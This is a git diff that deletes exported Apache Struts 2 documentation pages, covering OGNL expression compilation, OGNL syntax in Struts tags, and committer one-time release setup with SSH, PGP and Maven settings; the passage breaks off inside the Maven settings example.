-  return super.getPropertyClass(context, target, name);
-}
-
-public String getSourceAccessor(OgnlContext context, Object target, Object name)
-{
-   IBeanProvider provider = (IBeanProvider)target;
-   String beanName = ((String)name).replaceAll("\"", "");
-
-   if (provider.canProvideBean(beanName)) {
-
-       Class type = OgnlRuntime.getCompiler().getInterfaceClass(provider.getBean(beanName).getClass());
-
-       ExpressionCompiler.addCastString(context, "((" + type.getName() + ")");
-
-       context.setCurrentAccessor(IBeanProvider.class);
-       context.setCurrentType(type);
-
-       return ".getBean(" + name + "))";
-   }
-
-   return super.getSourceAccessor(context, target, name);
-}
-
-public String getSourceSetter(OgnlContext context, Object target, Object name)
-{
-  throw new UnsupportedCompilationException("Can't set beans on IBeanProvider.");
-}
-</pre>
-</div></div>
-<p>Although this example may not provide with all of the possible use cases you may need to learn to properly implement these methods in your own <code>PropertyAccessor</code> implementations - the built in OGNL versions like <code>ObjectPropertyAccessor, MapPropertyAccessor, ListPropertyAccessor, etc</code> should provide more than enough data to work from. <a shape="rect" class="external-link" href="http://svn.opensymphony.com/svn/ognl/trunk/" rel="nofollow">http://svn.opensymphony.com [...]
-
-<p>The most important part of the above logic you will want to look at is in how the new <code>OgnlContext</code> methods for setting object/accessor types are being set:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>context.setCurrentAccessor(IBeanProvider.class);
-context.setCurrentType(type);
-</pre>
-</div></div>
-<p>This meta information is used by the <code>OgnlExpressionCompiler</code> to correctly cast your specific expression object types during compilation.  This process of casting/converting in to and out of native types is the most complicated part of this new logic and also the source of the greatest number of bugs reported in the OGNL jira. <a shape="rect" class="external-link" href="http://jira.opensymphony.com/browse/OGNL" rel="nofollow">http://jira.opensymphony.com/browse/OGNL</a></p>
-
-<p>In this property accessor example the goal is to turn general statements like <code>beans.emailValidator</code> in to their pure source form - which would look something like this when all is said and done:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>((ValidatingBean)beanProvider.getBean("emailValidator"))
-</pre>
-</div></div>
-<p>There is also the ever important cast handling which you must do:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Class type = OgnlRuntime.getCompiler().getInterfaceClass(provider.getBean(beanName).getClass());
-
-ExpressionCompiler.addCastString(context, "((" + type.getName() + ")");
-</pre>
-</div></div>
-<p>In this example the <code>PropertyAccessor</code> is trying to determine the class type and manually adding the cast string for the specific type to the overall statement by invoking the utility method <code>addCastString(OgnlContext, String)</code> on <code>ExpressionCompiler</code>.  In many instances of expression compilation you might also be dealing with unknown method calls, where the more preferred way to do this kind of logic would be something like this: (taken from the OGNL  [...]
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Method m = ...(various reflection gynamistics used to find a java.reflect.Method instance)
-
-context.setCurrentType(m.getReturnType());
-context.setCurrentAccessor(OgnlRuntime.getCompiler().getSuperOrInterfaceClass(m, m.getDeclaringClass()));
-</pre>
-</div></div>
-<p>When dealing with method calls it is very important that you do this specific kind of type setting on the <code>OgnlContext</code> class so that the casting done on your statements (which happens outside of the ObjectPropertyAccessor in this instance) can be done on the highest level interface defining that method.  This becomes important when you are dealing with expressions that you would like to re-use against different object instances.  For example, suppose we had an ognl express [...]
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>user.firstName
-</pre>
-</div></div>
-<p>and the object it was compiled against was an instance of something looking like this:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>public abstract LoginPage extends BasePage implements UserPermissions {
-
-  public abstract User getUser();
-
-}
-
-..
-/**
- * Interface for any page/component that holds references to the current system
- * User.
- */
-public interface UserPermissions {
-   User getUser();
-}
-</pre>
-</div></div>
-<p><code>BasePage</code> is a Tapestry specific class which is unimportant in this example.  What is important to know is that if we had done something like this in the previous context setting example:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>context.setCurrentType(m.getReturnType());
-context.setCurrentAccessor(m.getDeclaringClass());
-</pre>
-</div></div>
-<p>It would have resulted in a compiled expression of:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>public void get(OgnlContext context, Object root)
-{
-  return ((LoginPage)root).getUser();
-}
-</pre>
-</div></div>
-<p>This is undesirable in situations where you would like to re-use OGNL expressions across many different class instances (which is what Tapestry does via the <code>ExpressionCacheImpl</code> listed above).  The better/more re-usable compiled version should really look like:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>public void get(OgnlContext context, Object root)
-{
-  return ((UserPermissions)root).getUser();
-}
-</pre>
-</div></div>
-<p>These are the more delicate parts of the compiler API that the majority of people will need to worry about during any integration efforts.</p>
-
-<h2 id="OGNLExpressionCompilation-KnownIssues/Limitations">&#160;Known Issues / Limitations</h2>
-
-<ul><li><strong>Compiler Errors</strong> - Despite the substantially large number of unit tests set up and thorough usage of many different types of expressions Tapestry users are still currently running in to fatal/non caught runtime errors when some of their OGNL expressions are compiled.  In some instances these errors are blockers and they must either wait for someone to fix the bug (after being posted to <a shape="rect" class="external-link" href="http://jira.opensymphony.com/browse [...]
-
-
-<ul><li><strong>Compile vs. normal expression evaluation</strong> - The current Tapestry implementation compiles OGNL expressions in both development AND production modes.  This has the undesirable side effect of causing needless multiple method invocations on objects when compiling as well as the general overhead of performing compilations at all when people are just developing applications and not serving them in production environments.  It is hoped that when OGNL becomes final this s [...]
-
-
-<ul><li><strong>Snapshot Repository</strong> - The current maven2 location of the OGNL development/snapshot release are all made to <a shape="rect" class="external-link" href="http://opencomponentry.com/repository/m2-snapshot-repo/" rel="nofollow">http://opencomponentry.com/repository/m2-snapshot-repo/</a>, while releases go out to ibiblio as per normal.  If someone has a better place for these release to be made please feel free to contact jesse ( jkuhnert at gmail.com) with accessor in [...]
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ognl.html b/content/docs/ognl.html
deleted file mode 100644
index a82ed5f..0000000
--- a/content/docs/ognl.html
+++ /dev/null
@@ -1,226 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>OGNL</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="ognl.html">OGNL</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">OGNL</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14198">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14198">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14198">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>OGNL is the Object Graph Navigation Language (see <a shape="rect" class="external-link" href="http://commons.apache.org/proper/commons-ognl/">http://commons.apache.org/proper/commons-ognl/</a> for the full documentation of OGNL). Here, we will cover a few examples of OGNL features that co-exist with the framework. To review basic concepts, refer to <a shape="rect" href="ognl-basics.html">OGNL Basics</a>.</p><p>The framework uses a standard namin [...]
-<pre>                     |
-                     |--application
-                     |
-                     |--session
-       context map---|
-                     |--value stack(root)
-                     |
-                     |--action (the current action)
-                     |
-                     |--request
-                     |
-                     |--parameters
-                     |
-                     |--attr (searches page, request, session, then application scopes)
-                     |
-</pre>
-</div></div><p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> There are other objects in the context map. The diagram is for example only.</p><p>The Action instance is always pushed onto the value stack. Because the Action is on the stack, and the stack is the OGNL root, references to Action properties can om [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:property value="postalCode"/&gt;
-</pre>
-</div></div><p>Other (non-root) objects in the ActionContext can be rendered use the <code>#</code> notation.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:property value="#session.mySessionPropKey"/&gt; or
-&lt;s:property value="#session['mySessionPropKey']"/&gt; or
-&lt;s:property value="#request['myRequestPropKey']"/&gt;
-</pre>
-</div></div><p>The ActionContext is also exposed to Action classes via a static method.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">ActionContext.getContext().getSession().put("mySessionPropKey", mySessionObject);
-</pre>
-</div></div><p>You can also put expression for attributes that don't support dynamic content, like below:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;c:set var="foo" value="bar" scope="request"/&gt;
-&lt;s:textfield name="username" label="%{#request.foo}" /&gt;
-</pre>
-</div></div><h2 id="OGNL-Collections(Maps,Lists,Sets)">Collections (Maps, Lists, Sets)</h2><p>Dealing with Collections (Maps, Lists, and Sets) in the framework comes often, so below please there are a few examples using the select tag. The <a shape="rect" class="external-link" href="http://commons.apache.org/proper/commons-ognl/language-guide.html#Collection_Construction">OGNL documentation</a> also includes some examples.</p><p>Syntax for list: {e1,e2,e3}. This idiom creates a List cont [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:select label="label" name="name" list="{'name1','name2','name3'}" value="%{'name2'}" /&gt;
-</pre>
-</div></div><p>Syntax for map: #{key1:value1,key2:value2}. This idiom creates a map that maps the string "foo" to the string "foovalue" and "bar" to the string "barvalue":</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:select label="label" name="name" list="#{'foo':'foovalue', 'bar':'barvalue'}" /&gt;
-</pre>
-</div></div><p>To determine if an element exists in a Collection, use the operations <code>in</code> and <code>not in</code>.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:if test="'foo' in {'foo','bar'}"&gt;
-   muhahaha
-&lt;/s:if&gt;
-&lt;s:else&gt;
-   boo
-&lt;/s:else&gt;
-
-&lt;s:if test="'foo' not in {'foo','bar'}"&gt;
-   muhahaha
-&lt;/s:if&gt;
-&lt;s:else&gt;
-   boo
-&lt;/s:else&gt;
-</pre>
-</div></div><p>To select a subset of a collection (called projection), use a wildcard within the collection.</p><ul class="alternate"><li>? - All elements matching the selection logic</li><li>^ - Only the first element matching the selection logic</li><li>$ - Only the last element matching the selection logic</li></ul><p>To obtain a subset of just male relatives from the object person:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">person.relatives.{? #this.gender == 'male'}
-</pre>
-</div></div><h2 id="OGNL-LambdaExpressions">Lambda Expressions</h2><p>OGNL supports basic lamba expression syntax enabling you to write simple functions.</p><p>(Dedicated to all you math majors who didn't think you would ever see this one again.)</p><p>Fibonacci: if n==0 return 0; elseif n==1 return 1; else return fib(n-2)+fib(n-1);<br clear="none"> fib(0) = 0<br clear="none"> fib(1) = 1<br clear="none"> fib(11) = 89</p><div class="confluence-information-macro confluence-information-macr [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;s:property value="#fib =:[#this==0 ? 0 : #this==1 ? 1 : #fib(#this-2)+#fib(#this-1)], #fib(11)" /&gt;
-</pre>
-</div></div><h2 id="OGNL-Next:">Next: <a shape="rect" href="tag-syntax.html">Tag Syntax</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/one-time-steps.html b/content/docs/one-time-steps.html
deleted file mode 100644
index 83bab97..0000000
--- a/content/docs/one-time-steps.html
+++ /dev/null
@@ -1,297 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>One time steps</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a>&nbsp;&gt;&nbsp;<a href="one-time-steps.html">One time steps</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">One time steps</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832952">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27832952">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832952">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832952">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832952">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832952">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="Onetimesteps-Content">Content</h1>
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974252938 {padding: 0px;}
-div.rbtoc1488974252938 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1488974252938 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974252938">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#Onetimesteps-Content">Content</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">1.1</span> <a shape="rect" href="#Onetimesteps-Keysandconfiguration">Keys and configuration</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">1.1.1</span> <a shape="rect" href="#Onetimesteps-CreateandinstallaSSHkey">Create and install a SSH key</a></li><li><span class="TOCOutline">1.1.2</span> <a shape="rect" href="#Onetimesteps-CreateaPGPkey">Create a PGP key</a></li><li><span class="TOCOutline">1.1.3</span> <a shape="rect" href="#Onetimesteps-UpdateMavensettingsforourservers">Update Maven settings for our servers</a></li><li><span class="TOCOutline">1.1.4</span> <a sha [...]
-</li><li><span class="TOCOutline">1.2</span> <a shape="rect" href="#Onetimesteps-Resources">Resources</a></li><li><span class="TOCOutline">1.3</span> <a shape="rect" href="#Onetimesteps-Retagging">Retagging</a></li><li><span class="TOCOutline">1.4</span> <a shape="rect" href="#Onetimesteps-Amendingalogentry">Amending a log entry</a></li></ul>
-</li></ul>
-</div>
-
-<h2 id="Onetimesteps-Keysandconfiguration">Keys and configuration</h2>
-
-<h3 id="Onetimesteps-CreateandinstallaSSHkey">Create and install a SSH key </h3>
-
-<ul><li>See <a shape="rect" class="external-link" href="http://sial.org/howto/openssh/publickey-auth/" rel="nofollow">OpenSSH Public Key Authentication</a></li></ul>
-
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If you get hung up during release:perform because Maven can't verify the authenticity of a host, then there could be one of two <br clear="none">
-different problems. The first problem, which is an easy fix, is to go to the command line and use SSH to log in to that host. You <br clear="none">
-should receive a prompt to add the host to your known_hosts file. If you add the host to your known_hosts file from the command line <br clear="none">
-SSH, then you should be able to try release:perform again and have more success. There is a chance though that this won't fix maven.</p>
-
-<p>Maven doesn't appear to understand hashed known_hosts files. There is some information here - <a shape="rect" class="external-link" href="http://itso.iu.edu/Hashing_the_OpenSSH_known__hosts_File" rel="nofollow">known_hosts file Hashing</a>. <br clear="none">
-If your known_hosts file is hashed, you can solve this one of a few different ways. If you perform a deploy:deploy instead of <br clear="none">
-release:perform, then maven will leave a prompt open for you to type 'yes' and have maven add the host (in a way that Jsch, the library <br clear="none">
-which provides Maven Wagon with the SSH/SCP functionality, understands) to your known_hosts file. Another option is to remove your <br clear="none">
-known_hosts file, update your SSH configuration so that it does not hash the hostname in known_hosts and try to log in from the command <br clear="none">
-line. </p></div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mkdir ~/.ssh
-chmod 700 ~/.ssh
-ssh-keygen -q -f ~/.ssh/id_rsa -t rsa
-#Enter a passphrase
-chmod go-rwx ~/.ssh/*
-
-#copy the public key to people.apache.org
-scp ~/.ssh/id_rsa.pub people.apache.org:/home/$USERNAME
-
-# next, setup the public key on server
-ssh people.apache.org
-mkdir ~/.ssh
-chmod 700 ~/.ssh
-cat ~/id_rsa.pub &gt;&gt; ~/.ssh/authorized_keys
-chmod 600 ~/.ssh/authorized_keys
-rm ~/id_rsa.pub
-</pre>
-</div></div>
-
-<h3 id="Onetimesteps-CreateaPGPkey">Create a PGP key</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-svn co https://svn.apache.org/repos/asf/struts/maven/trunk/build struts-maven-build
-cd struts-maven-build
-(gpg --fingerprint --list-sigs &lt;your name&gt; &amp;&amp; gpg --armor --export &lt;your name&gt;) &gt;&gt; KEYS
-scp KEYS people.apache.org:/www/www.apache.org/dist/struts
-svn commit KEYS -m "Add public key"
-</pre>
-</div></div>
-
-<h3 id="Onetimesteps-UpdateMavensettingsforourservers">Update Maven settings for our servers</h3>
-<p>Create a settings.xml under ~/.m2 and follow below instructions:</p>
-<ul><li>create profile - <a shape="rect" class="external-link" href="http://maven.apache.org/developers/release/apache-release.html#Prerequisites">Releasing a Maven-based</a></li><li>enable Apache servers <a shape="rect" class="external-link" href="http://maven.apache.org/developers/committer-settings.html">Committer Settings</a></li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;settings xmlns="http://maven.apache.org/POM/4.0.0"
-          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd"&gt;
-  &lt;servers&gt;
-    &lt;!-- To publish a snapshot of some part of Maven --&gt;
-    &lt;server&gt;
-      &lt;id&gt;apache.snapshots.https&lt;/id&gt;
-      &lt;username&gt; &lt;!-- YOUR APACHE LDAP USERNAME --&gt; &lt;/username&gt;
-      &lt;password&gt; &lt;!-- YOUR APACHE LDAP PASSWORD --&gt; &lt;/password&gt;
-    &lt;/server&gt;
-    &lt;!-- To publish a website of some part of Maven --&gt;
-    &lt;server&gt;
-      &lt;id&gt;apache.website&lt;/id&gt;
-      &lt;username&gt; &lt;!-- YOUR APACHE LDAP USERNAME --&gt; &lt;/username&gt;
-      &lt;filePermissions&gt;664&lt;/filePermissions&gt;
-      &lt;directoryPermissions&gt;775&lt;/directoryPermissions&gt;
-    &lt;/server&gt;
-    &lt;!-- To stage a release of some part of Maven --&gt;
-    &lt;server&gt;
-      &lt;id&gt;apache.releases.https&lt;/id&gt;
